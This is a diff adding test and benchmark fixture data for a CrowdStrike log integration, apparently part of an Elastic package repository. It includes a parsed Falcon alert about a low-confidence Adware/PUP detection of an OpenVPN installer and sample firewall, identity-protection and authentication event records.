"ABC", + "WinComputers" + ], + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "site_name": "Default-First-Site-Name", + "status": "normal", + "system_manufacturer": "LENOVO", + "system_product_name": "20VE" + }, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "grandparent_details": { + "cmdline": "C:\\Windows\\system32\\userinit.exe", + "filename": "userinit.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe", + "local_process_id": "4328", + "md5": "b07f77fd3f9828b2c9d61f8a36609741", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135", + "process_id": "392734873135", + "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", + "timestamp": "2023-10-30T16:49:19.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "yuvraj.mahajan" + }, + "has_script_or_module_ioc": true, + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ioc_context": [ + { + "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "ioc_source": "library_load", + "ioc_type": "hash_sha256", + "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "type": "module" + } + ], + "ioc_values": [ + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + ], + "is_synthetic_quarantine_disposition": true, + "local_process_id": "17076", + "logon_domain": "ABSYS", + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "name": "PrewittPupAdwareSensorDetect-Lowest", + "objective": "FalconDetectionMethod", + "parent_details": { + "cmdline": "C:\\WINDOWS\\Explorer.EXE", + "filename": "explorer.exe", + "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "local_process_id": "1040", + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876", + "process_id": "392736520876", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "timestamp": "2023-11-03T18:00:32.000Z", + "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + }, + "parent_process_id": "392736520876", + "pattern_disposition": 2176, + "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "operation_blocked": false, + "policy_disabled": false, + "process_blocked": true, + "quarantine_file": true, + "quarantine_machine": false, + "registry_operation_blocked": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "5761", + "platform": "Windows", + "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", + "process_end_time": "2023-11-03T18:00:21.000Z", + "process_id": "399748687993", + "process_start_time": "2023-11-03T18:00:13.000Z", + "product": "epp", + "quarantined_files": [ + { + "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "state": "quarantined" + } + ], + "scenario": "NGAV", + "severity": 30, + "severity_name": "low", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "show_in_ui": true, + "source_products": [ + "FalconInsight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "MachineLearning", + "tactic_id": "CSTA0004", + "technique": "Adware/PUP", + "technique_id": "CST0000", + "timestamp": "2023-11-03T18:00:22.328Z", + "tree_id": "1931778", + "tree_root": "38687993", + "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", + "type": "ldt", + "updated_timestamp": "2023-11-03T19:00:23.985Z", + "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "user_name": "mohit.jha" + } + }, + "data_stream": { + "dataset": "crowdstrike.alert", + "namespace": "96581", + "type": "logs" + }, + "device": { + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "manufacturer": "LENOVO", + "model": { + "name": "20VE" + } + }, + "ecs": { + "version": "8.17.0" + }, + "elastic_agent": { + "id": "d541c008-3558-403d-9392-4faa6d42fcb4", + "snapshot": true, + "version": "8.18.0" + }, + "event": { + "agent_id_status": "verified", + "category": [ + "process" + ], + "dataset": "crowdstrike.alert", + "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", + "ingested": "2025-10-09T10:20:29Z", + "kind": "alert", + "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K\\u0026cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ\\u0026-o0:dR/\\u003e\\u003e2J\\u003cd2T/ji6R\\u0026RIHe-tZSkP*q?HW;:leq.:kk)\\u003eIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6\\u003eZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg\\u003cLga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@\\u003cWalY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\\\u003cH^hNG\\\"ZQ3#U3\\\"eo\\u003c\\u003e92t[f!\\u003e*b9WLY@H!V0N,BJsNSTD:?/+fY';e\\u003cOHh9AmlT?5\\u003cgGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E\\u003cG5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb\\u003c6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O'=_7d#%u\\u0026d[+LTNDs\\u003c3307?8n=GrFI:4YYGCL,cIt-Tuj!\\u0026\\u003c6:3RbCuNjL#gW\\u0026=)E4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6\\u003ea%iM\\\"\\u003cFTSe/eH8M:\\u003c9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6\\u0026CHpVKO3\\u003cDgK9,Y/e@V\\\"b\\u0026m!\\u003c\\u003c'\",\"N6CU\\u0026%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.\\u0026eM\\u003cQer\\u003e__\\\"59K'R?_='rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A\\u0026FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\\\u0026\\u0026V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F\\u003c0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##\\u0026$^81(P+hN*-#rf/cUs)Wb\\\"\\u003c_/?I'[##WMh'H[Rcl+!!\\u003c\\u003c'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=\\u003e#DM0j$_\\u003cr/JG0TCEQ!Ug(be3)\\u0026R2JnX+RSqorgC-NCjf6XATBWX(5\\u003cL1J1DV\\u003e44ZjO9q*d!YLuHhkq!3\\u003e3tpi\\u003eOPYZp9]5f1#/AlRZL06/I6cl\\\"d.\\u0026=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"has_script_or_module_ioc\":\"true\",\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"ioc_values\":[],\"is_synthetic_quarantine_disposition\":true,\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" + }, + "host": { + "domain": "ABC.LOCAL", + "hostname": "ABC709-1175", + "id": "2ce412d17b334ad4adc8c1c54dbfec4b", + "ip": [ + "81.2.69.142" + ], + "mac": [ + "AB-21-48-61-05-B2" + ], + "os": { + "full": "Windows11", + "platform": "Windows", + "type": "windows" + } + }, + "input": { + "type": "cel" + }, + "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", + "process": { + "end": "2023-11-03T18:00:21.000Z", + "entity_id": "399748687993", + "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "hash": { + "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" + }, + "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", + "parent": { + "command_line": "C:\\WINDOWS\\Explorer.EXE", + "entity_id": "392736520876", + "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", + "hash": { + "md5": "8cc3fcdd7d52d2d5221303c213e044ae", + "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" + }, + "name": "explorer.exe", + "pid": 392736520876 + }, + "pid": 399748687993, + "start": "2023-11-03T18:00:13.000Z", + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } + }, + "related": { + "hash": [ + "b07f77fd3f9828b2c9d61f8a36609741", + "cdf9cfebb400ce89d5b6032bfcdc693b", + "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", + "8cc3fcdd7d52d2d5221303c213e044ae", + "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "ABC.LOCAL", + "ABC709-1175" + ], + "ip": [ + "81.2.69.142" + ], + "user": [ + "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", + "S-1-5-21-1909377054-3469629671-4104191496-4425", + "yuvraj.mahajan", + "mohit.jha" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "forwarded", + "crowdstrike-alert" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0004" + ], + "name": [ + "MachineLearning" + ] + }, + "technique": { + "id": [ + "CST0000" + ], + "name": [ + "Adware/PUP" + ] + } + }, + "user": { + "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", + "name": "mohit.jha" + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml new file mode 100644 index 0000000000..30a2b50cf6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/config.yml @@ -0,0 +1 @@ +num_docs: 10000 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log new file mode 100644 index 0000000000..da66f7f084 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/benchmark/pipeline/test-event-stream.log @@ -0,0 +1,9 @@ +{"metadata":{"customerIDString":"abcabcabc22222","offset":8693900,"eventType":"FirewallMatchEvent","eventCreationTime":1698921571000,"version":"1.0"},"event":{"DeviceId":"6734ff444f4456","CustomerId":"abcabcabc22222","Ipv":"ipv4","CommandLine":"System","ConnectionDirection":"1","EventType":"FirewallRuleIP4Matched","Flags":{"Audit":false,"Log":true,"Monitor":true},"HostName":"INPUNEDITCLP229","ICMPCode":"","ICMPType":"","ImageFileName":"System","LocalAddress":"81.2.69.142","LocalPort":"445","MatchCount":1,"MatchCountSinceLastReport":1,"NetworkProfile":"2","PID":"11111111","PolicyName":"PROD-FW-Workstations-Office-20201001","PolicyID":"3ec266b28bef471f9fd990e4f39ac829","Protocol":"6","RemoteAddress":"81.2.69.142","RemotePort":"53452","RuleAction":"2","RuleDescription":"","RuleFamilyID":"11111111aaaaaaaa","RuleGroupName":"SMBRules","RuleName":"InboundSMBBlock\u0026LogPrivate","RuleId":"4877172638743447345","Status":"","Timestamp":"2023-11-02T10:39:29Z","TreeID":"","Platform":"windows"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8693906,"eventType":"IdpDetectionSummaryEvent","eventCreationTime":1698921607000,"version":"1.0"},"event":{"ContextTimeStamp":133433951380000000,"DetectId":"abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222","DetectName":"Unusual login to an endpoint","DetectDescription":"A user logged into a machine for the first time","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:5E8D397E-79C1-AAAA-9715-EEEEEE2222?_cid=abcabcabc22222","StartTime":133433949600000000,"EndTime":133433949600000000,"Severity":34,"SeverityName":"Low","Tactic":"InitialAccess","Technique":"ValidAccounts","Objective":"Gain Access","SourceAccountDomain":"NA.AAA.ABC.com","SourceAccountName":"abc.service","SourceAccountUpn":"admin.service@example.com","SourceAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-175881","SourceEndpointAccountObjectGuid":"C078A5DA-E13B-4418-AA28-802EF8C16210","SourceEndpointAccountObjectSid":"S-1-S-1-S-1-1111-1844237615-1801674531-316681","SourceEndpointHostName":"nope122.na.net.ABC.com","SourceEndpointIpAddress":"81.2.69.142","SourceEndpointSensorId":"a2f1de586958434eb5e14e30214e17ed","ActivityId":"76CC8396-7148-4CEB-84CB-08FAFE4FAC37","PatternId":51135,"SourceVendors":"CrowdStrike","SourceProducts":"FalconIdentityProtection","DataDomains":"Identity"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694126,"eventType":"IdentityProtectionEvent","eventCreationTime":1698923523065,"version":"1.0"},"event":{"IncidentType":"Unusuallogintoanendpoint","IncidentDescription":"Unusuallogintoanendpoint","Severity":4,"SeverityName":"LOW","StartTime":1698923340000,"EndTime":1698923340000,"IdentityProtectionIncidentId":"7a79b2de-4e10-41fb-818f-2bdf53c1625a","UserName":"NA.NET.ABC.com\\abc.service","EndpointName":"itreg1d3wp8vh3.eu.net.ABC.com","EndpointIp":"","Category":"Detections","NumbersOfAlerts":1,"NumberOfCompromisedEntities":2,"State":"NEW","FalconHostLink":"https://falcon.crowdstrike.com/identity-protection/detections/abcabcabc22222:ind:abcabcabc22222:7A79B2DE-4E10-41FB-818F-2BDF53C1625A"}} +{"metadata":{"customerIDString":"abcabcabc22222","offset":8694676,"eventType":"AuthActivityAuditEvent","eventCreationTime":1698927699286,"version":"1.0"},"event":{"UserId":"admin.rose@example.com","UserIp":"81.2.69.144","OperationName":"saml2Assert","ServiceName":"CrowdstrikeAuthentication","Success":true,"UTCTimestamp":1698927699,"AuditKeyValues":[{"Key":"target_user","ValueString":"admin.rose@example.com"},{"Key":"trace_id","ValueString":"19169200-76c5-4861-92f1-355d0a908f40"},{"Key":"saml_envelope","ValueString":"SampleValue"},{"Key":"saml_assertion","ValueString":"sampleassertion"},{"Key":"app_id","ValueString":"fa8e047e-2e60-4837-b987-c57020947cd6"},{"Key":"actor_user","ValueString":"admin.rose@example.com"},{"Key":"actor_user_uuid","ValueString":"8940ddf0-bc3c-480b-a05a-bb94ff5dc0fb"},{"Key":"actor_cid","ValueString":"abcabcabc22222"}],"Attributes":{"actor_cid":"abcabcabc22222","actor_user":"admin.rose@example.com","actor_user_uuid":"00000000-aaaa-480b-a05a-bb94ff5dc0fb","app_id":"aaaaaaaa-2e60-4837-b987-c57020947cd6","saml_assertion":"saml_assertion_sample","target_user":"admin.rose@example.com","trace_id":"000000-76c5-4861-92f1-355d0a908f40"}}} 